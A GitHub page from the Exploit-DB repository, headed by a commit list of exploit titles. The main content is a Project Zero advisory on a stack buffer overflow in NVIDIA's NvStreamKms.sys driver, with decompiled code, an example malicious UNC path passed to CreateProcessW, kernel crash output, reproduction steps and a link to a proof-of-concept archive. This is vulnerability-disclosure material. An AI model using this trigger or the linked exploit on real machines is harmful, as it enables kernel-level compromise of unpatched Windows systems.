ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
78 lines
No EOL
2.5 KiB
Text
78 lines
No EOL
2.5 KiB
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=918
|
|
|
|
The NvStreamKms.sys driver calls PsSetCreateProcessNotifyRoutineEx to set up a
|
|
process creation notification routine.
|
|
|
|
In this particular routine,
|
|
|
|
if ( cur->image_names_count > 0 ) {
|
|
// info_ is the PPS_CREATE_NOTIFY_INFO that is passed to the routine.
|
|
image_filename = info_->ImageFileName;
|
|
buf = image_filename->Buffer;
|
|
if ( buf )
|
|
{
|
|
if ( !v5 )
|
|
{
|
|
i = 0i64;
|
|
num_chars = image_filename->Length / 2;
|
|
// Look for the filename by scanning for backslash.
|
|
if ( num_chars )
|
|
{
|
|
while ( buf[num_chars - (unsigned int)i - 1] != '\\' )
|
|
{
|
|
i = (unsigned int)(i + 1);
|
|
if ( (unsigned int)i >= num_chars )
|
|
goto LABEL_39;
|
|
}
|
|
buf += num_chars - (unsigned __int64)(unsigned int)i;
|
|
}
|
|
LABEL_39:
|
|
v26 = (unsigned int)i;
|
|
wcscpy_s((wchar_t *)Dst, i, buf);
|
|
Dst[v26] = 0;
|
|
wcslwr((wchar_t *)Dst);
|
|
v5 = 1;
|
|
|
|
wcscpy_s is used incorrectly here, as the second argument is not the size of
|
|
|Dst|, but rather the calculated size of the filename. |Dst| is a stack buffer
|
|
that is at least 255 characters long. The the maximum component paths of most
|
|
filesystems on Windows have a limit that is <= 255 though, so this shouldn't be
|
|
an issue on normal filesystems.
|
|
|
|
However, one can pass UNC paths to CreateProcessW containing forward slashes as
|
|
the path delimiter, which means that the extracted filename here can be
|
|
"a/b/c/...", leading to a buffer overflow. Additionally, this function has no
|
|
stack cookie.
|
|
|
|
e.g.
|
|
|
|
CreateProcessW(L"\\\\?\\UNC\\127.0.0.1@8000\\DavWWWRoot\\..../..../..../blah.exe", ...
|
|
|
|
Crashing context with my PoC (Win 10 x64 with 372.54):
|
|
|
|
NvStreamKms+0x1c6a:
|
|
fffff801`5c791c6a c3 ret
|
|
|
|
kd> dqs rsp
|
|
ffffd000`25bc5d18 00410041`00410041
|
|
|
|
kd> t
|
|
|
|
...
|
|
|
|
KMODE_EXCEPTION_NOT_HANDLED (1e)
|
|
...
|
|
FAULTING_IP:
|
|
NvStreamKms+1c6a
|
|
fffff800`5b1d1c6a c3 ret
|
|
|
|
To reproduce, a WebDAV server is required (can be localhost), and the WebClient
|
|
service needs to be started (start can be triggered by user without additional privileges).
|
|
|
|
Then, run setup to create the long path to the target executable (you'll need to
|
|
change the base directories), and then run poc_part1, and then poc_part2 (with
|
|
the right UNC path) on the target machine.
|
|
|
|
|
|
Proofs of Concept:
|
|
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40660.zip |